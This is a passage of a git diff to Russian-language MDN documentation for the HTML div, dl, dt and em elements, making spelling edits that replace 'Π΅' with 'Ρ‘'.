<td>Π›ΡŽΠ±Ρ‹Π΅</td>
</tr>
<tr>
@@ -119,7 +119,7 @@ translation_of: Web/HTML/Element/div
<tr>
<td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-div-element', '&lt;div&gt;')}}</td>
<td>{{Spec2('HTML WHATWG')}}</td>
- <td>НСт ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ с послСднСго "snapshot" (ΡΠ½Π°ΠΏΡˆΠΎΡ‚ ΠΈΠ»ΠΈ снимок - состояниС сохранСнноС Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ)</td>
+ <td>НСт ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ с послСднСго "snapshot" (ΡΠ½Π°ΠΏΡˆΠΎΡ‚ ΠΈΠ»ΠΈ снимок - состояниС сохранённоС Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ)</td>
</tr>
<tr>
<td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-div-element', '&lt;div&gt;')}}</td>
diff --git a/files/ru/web/html/element/dl/index.html b/files/ru/web/html/element/dl/index.html
index 037d3e61c5..195584e4cd 100644
--- a/files/ru/web/html/element/dl/index.html
+++ b/files/ru/web/html/element/dl/index.html
@@ -118,7 +118,7 @@ translation_of: Web/HTML/Element/dl
<h3 id="ΠœΠ½ΠΎΠΆΠ΅ΡΡ‚Π²Π΅Π½Π½Ρ‹Π΅_Ρ‚Π΅Ρ€ΠΌΠΈΠ½Ρ‹_ΠΈ_опрСдСлСния">ΠœΠ½ΠΎΠΆΠ΅ΡΡ‚Π²Π΅Π½Π½Ρ‹Π΅ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Ρ‹ ΠΈ опрСдСлСния</h3>
-<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ нСсколько Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ² с нСсколькими ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌΠΈ опрСдСлСниями, ΠΏΡƒΡ‚Π΅ΠΌ комбинирования ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ².</p>
+<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ нСсколько Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ² с нСсколькими ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌΠΈ опрСдСлСниями, ΠΏΡƒΡ‚Ρ‘ΠΌ комбинирования ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ².</p>
<h3 id="ΠœΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅">ΠœΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅</h3>
@@ -211,7 +211,7 @@ translation_of: Web/HTML/Element/dl
<h2 id="ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ pull request.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ pull request.</div>
<p>{{Compat("html.elements.dl")}}</p>
diff --git a/files/ru/web/html/element/dt/index.html b/files/ru/web/html/element/dt/index.html
index 093e46aa6d..d46393c7c8 100644
--- a/files/ru/web/html/element/dt/index.html
+++ b/files/ru/web/html/element/dt/index.html
@@ -15,7 +15,7 @@ translation_of: Web/HTML/Element/dt
---
<div>{{HTMLRef}}</div>
-<p><span class="seoSummary"><strong>HTML-элСмСнт <code>&lt;dt&gt;</code>Β </strong>ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ опрСдСляСт Ρ‚Π΅Ρ€ΠΌΠΈΠ½ Π² описании ΠΈΠ»ΠΈ спискС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΉ, ΠΊΠ°ΠΊ Ρ‚Π°ΠΊΠΎΠ²ΠΎΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта  {{HTMLElement("dl")}} .</span>Β ΠžΠ±Ρ‹Ρ‡Π½ΠΎ Π·Π° Π½ΠΈΠΌ слСдуСт элСмСнт {{HTMLElement("dd")}}. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, нСсколько элСмСнтов <code>&lt;dt&gt;</code>Β ΠΈΠ΄ΡƒΡ‰ΠΈΠ΅ Π΄Ρ€ΡƒΠ³ Π·Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ Π±ΡƒΠ΄ΡƒΡ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ своС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΈΠ΄ΡƒΡ‰Π΅ΠΌ Π·Π° Π½ΠΈΠΌ элСмСнтом{{HTMLElement("dd")}}.</p>
+<p><span class="seoSummary"><strong>HTML-элСмСнт <code>&lt;dt&gt;</code>Β </strong>ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ опрСдСляСт Ρ‚Π΅Ρ€ΠΌΠΈΠ½ Π² описании ΠΈΠ»ΠΈ спискС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΉ, ΠΊΠ°ΠΊ Ρ‚Π°ΠΊΠΎΠ²ΠΎΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта  {{HTMLElement("dl")}} .</span>Β ΠžΠ±Ρ‹Ρ‡Π½ΠΎ Π·Π° Π½ΠΈΠΌ слСдуСт элСмСнт {{HTMLElement("dd")}}. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, нСсколько элСмСнтов <code>&lt;dt&gt;</code>Β ΠΈΠ΄ΡƒΡ‰ΠΈΠ΅ Π΄Ρ€ΡƒΠ³ Π·Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ Π±ΡƒΠ΄ΡƒΡ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ своё ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΈΠ΄ΡƒΡ‰Π΅ΠΌ Π·Π° Π½ΠΈΠΌ элСмСнтом{{HTMLElement("dd")}}.</p>
<p>ΠŸΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ элСмСнт {{HTMLElement("dd")}} (<em>ΠΎΡ‚ Π°Π½Π³Π».Β Description Details)</em> прСдоставляСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ связанный тСкст, относящийся ΠΊ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Ρƒ, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>&lt;dt&gt;</code>.</p>
@@ -91,7 +91,7 @@ translation_of: Web/HTML/Element/dt
<h2 id="ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ pull request.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ pull request.</div>
<p>{{Compat("html.elements.dt")}}</p>
diff --git a/files/ru/web/html/element/em/index.html b/files/ru/web/html/element/em/index.html
index 1ceea62afd..0a1ae9d801 100644
--- a/files/ru/web/html/element/em/index.html
+++ b/files/ru/web/html/element/em/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/em
---
<div>{{HTMLRef}}</div>
-<p><strong>HTML <code>&lt;em&gt;</code> элСмСнт</strong> ΠΎΡ‚ΠΌΠ΅Ρ‡Π°Π΅Ρ‚ Π°ΠΊΡ†Π΅Π½Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ тСкст. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <code>&lt;em&gt;</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΌ, ΠΏΡ€ΠΈΡ‡Π΅ΠΌ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ влоТСнности ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒ Π°ΠΊΡ†Π΅Π½Ρ‚Π°.</p>
+<p><strong>HTML <code>&lt;em&gt;</code> элСмСнт</strong> ΠΎΡ‚ΠΌΠ΅Ρ‡Π°Π΅Ρ‚ Π°ΠΊΡ†Π΅Π½Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ тСкст. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <code>&lt;em&gt;</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΌ, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ влоТСнности ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒ Π°ΠΊΡ†Π΅Π½Ρ‚Π°.</p>
<table class="properties">
<tbody>
@@ -14,7 +14,7 @@ translation_of: Web/HTML/Element/em
<td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Ρ„Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, явный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
<td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Π€Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
@@ -22,11 +22,11 @@ translation_of: Web/HTML/Element/em
<td>Ни ΠΎΠ΄Π½ΠΎΠ³ΠΎ; Оба Ρ‚Π΅Π³Π°, ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΈ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
<td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Ρ„Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
<td>Π›ΡŽΠ±Ρ‹Π΅</td>
</tr>
<tr>
@@ -42,9 +42,9 @@ translation_of: Web/HTML/Element/em
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΡ_ΠΏΠΎ_использованию">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΡ ΠΏΠΎ использованию</h2>
-<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <code>&lt;em&gt;</code> ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для слов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹ΠΉ Π°ΠΊΡ†Π΅Π½Ρ‚ ΠΏΠΎ ΡΡ€Π°Π²Π½Π΅Π½ΠΈΡŽ с ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰ΠΈΠΌ тСкстом, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ часто ограничиваСтся словом ΠΈΠ»ΠΈ словами прСдлоТСния ΠΈ влияСт Π½Π° смысл самого прСдлоТСния.</p>
+<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <code>&lt;em&gt;</code> ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для слов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹ΠΉ Π°ΠΊΡ†Π΅Π½Ρ‚ ΠΏΠΎ ΡΡ€Π°Π²Π½Π΅Π½ΠΈΡŽ с ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰ΠΈΠΌ тСкстом, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ часто ограничиваСтся словом ΠΈΠ»ΠΈ словами прСдлоТСния ΠΈ влияСт Π½Π° смысл самого прСдлоТСния.</p>
-<p>ΠžΠ±Ρ‹Ρ‡Π½ΠΎ этот элСмСнт отобраТаСтся курсивом. Однако Π΅Π³ΠΎ Π½Π΅ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ просто для примСнСния курсивного стиля; для этой Ρ†Π΅Π»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ свойство CSS {{cssxref("font-style")}}. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ элСмСнт {{HTMLElement("cite")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ произвСдСния (ΠΊΠ½ΠΈΠ³ΠΈ, ΠΏΡŒΠ΅ΡΡ‹, пСсни ΠΈ Ρ‚. Π΄.). Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ элСмСнт {{HTMLElement("i")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ тСкст Π² Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΠΎΠΌ Ρ‚ΠΎΠ½Π΅ ΠΈΠ»ΠΈ настроСнии, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ распространСнныС ситуации курсива, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Π½Π°ΡƒΡ‡Π½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π° ΠΈΠ»ΠΈ слова Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΡ… языках. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ элСмСнт {{HTMLElement("strong")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ тСкст, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ большСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‡Π΅ΠΌ ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰ΠΈΠΉ тСкст.</p>
+<p>ΠžΠ±Ρ‹Ρ‡Π½ΠΎ этот элСмСнт отобраТаСтся курсивом. Однако Π΅Π³ΠΎ Π½Π΅ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ просто для примСнСния курсивного стиля; для этой Ρ†Π΅Π»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ свойство CSS {{cssxref("font-style")}}. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ элСмСнт {{HTMLElement("cite")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ произвСдСния (ΠΊΠ½ΠΈΠ³ΠΈ, ΠΏΡŒΠ΅ΡΡ‹, пСсни ΠΈ Ρ‚. Π΄.). Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ элСмСнт {{HTMLElement("i")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ тСкст Π² Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΠΎΠΌ Ρ‚ΠΎΠ½Π΅ ΠΈΠ»ΠΈ настроСнии, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ распространённыС ситуации курсива, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Π½Π°ΡƒΡ‡Π½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π° ΠΈΠ»ΠΈ слова Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΡ… языках. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ элСмСнт {{HTMLElement("strong")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ тСкст, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ большСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‡Π΅ΠΌ ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰ΠΈΠΉ тСкст.</p>
<h3 id="&lt;_i>_ΠΏΡ€ΠΎΡ‚ΠΈΠ²_&lt;em>">&lt; i&gt; ΠΏΡ€ΠΎΡ‚ΠΈΠ² &lt;em&gt;</h3>
@@ -56,7 +56,7 @@ translation_of: Web/HTML/Element/em
<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ для <code>&lt;em&gt;</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ: -Β«ΠŸΡ€ΠΎΡΡ‚ΠΎ <em>сдСлай</em> это!Β», ΠΈΠ»ΠΈ: Β«ΠœΡ‹ <em>Π΄ΠΎΠ»ΠΆΠ½Ρ‹</em> Π±Ρ‹Π»ΠΈ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ с этим ΡΠ΄Π΅Π»Π°Ρ‚ΡŒΒ». Π§Π΅Π»ΠΎΠ²Π΅ΠΊ ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°, Ρ‡ΠΈΡ‚Π°ΡŽΡ‰ΠΈΠ΅ тСкст, Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΎΠΈΠ·Π½ΠΎΡΠΈΡ‚ΡŒ слова, Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ курсивом, с ΡƒΠ΄Π°Ρ€Π΅Π½ΠΈΠ΅ΠΌ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ словСсноС ΡƒΠ΄Π°Ρ€Π΅Π½ΠΈΠ΅.</p>
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ для <code>&lt;i&gt;</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ: <em>Β«ΠšΠΎΡ€ΠΎΠ»Π΅Π²Π° ΠœΡΡ€ΠΈ</em> ΠΎΡ‚ΠΏΠ»Ρ‹Π»Π° ΠΏΡ€ΠΎΡˆΠ»ΠΎΠΉ Π½ΠΎΡ‡ΡŒΡŽΒ». Π—Π΄Π΅ΡΡŒ Π½Π΅Ρ‚ Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ Π°ΠΊΡ†Π΅Π½Ρ‚Π° ΠΈΠ»ΠΈ ваТности Π½Π° словС "ΠšΠΎΡ€ΠΎΠ»Π΅Π²Π° ΠœΡΡ€ΠΈ". ΠŸΡ€ΠΎΡΡ‚ΠΎ указываСтся, Ρ‡Ρ‚ΠΎ Ρ€Π΅Ρ‡ΡŒ ΠΈΠ΄Π΅Ρ‚ Π½Π΅ ΠΎ ΠΊΠΎΡ€ΠΎΠ»Π΅Π²Π΅ ΠΏΠΎ ΠΈΠΌΠ΅Π½ΠΈ ΠœΠ°Ρ€ΠΈΡ, Π° ΠΎ ΠΊΠΎΡ€Π°Π±Π»Π΅ ΠΏΠΎ ΠΈΠΌΠ΅Π½ΠΈ <em>ΠšΠΎΡ€ΠΎΠ»Π΅Π²Π° ΠœΠ°Ρ€ΠΈΡ</em>. Π”Ρ€ΡƒΠ³ΠΈΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ для <code>&lt;i&gt;</code>Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ: Β«Π‘Π»ΠΎΠ²ΠΎ <em>β€˜the’ </em> это Π°Ρ€Ρ‚ΠΈΠΊΠ»ΡŒΒ».</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ для <code>&lt;i&gt;</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ: <em>Β«ΠšΠΎΡ€ΠΎΠ»Π΅Π²Π° ΠœΡΡ€ΠΈ</em> ΠΎΡ‚ΠΏΠ»Ρ‹Π»Π° ΠΏΡ€ΠΎΡˆΠ»ΠΎΠΉ Π½ΠΎΡ‡ΡŒΡŽΒ». Π—Π΄Π΅ΡΡŒ Π½Π΅Ρ‚ Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ Π°ΠΊΡ†Π΅Π½Ρ‚Π° ΠΈΠ»ΠΈ ваТности Π½Π° словС "ΠšΠΎΡ€ΠΎΠ»Π΅Π²Π° ΠœΡΡ€ΠΈ". ΠŸΡ€ΠΎΡΡ‚ΠΎ указываСтся, Ρ‡Ρ‚ΠΎ Ρ€Π΅Ρ‡ΡŒ ΠΈΠ΄Ρ‘Ρ‚ Π½Π΅ ΠΎ ΠΊΠΎΡ€ΠΎΠ»Π΅Π²Π΅ ΠΏΠΎ ΠΈΠΌΠ΅Π½ΠΈ ΠœΠ°Ρ€ΠΈΡ, Π° ΠΎ ΠΊΠΎΡ€Π°Π±Π»Π΅ ΠΏΠΎ ΠΈΠΌΠ΅Π½ΠΈ <em>ΠšΠΎΡ€ΠΎΠ»Π΅Π²Π° ΠœΠ°Ρ€ΠΈΡ</em>. Π”Ρ€ΡƒΠ³ΠΈΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ для <code>&lt;i&gt;</code>Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ: Β«Π‘Π»ΠΎΠ²ΠΎ <em>β€˜the’ </em> это 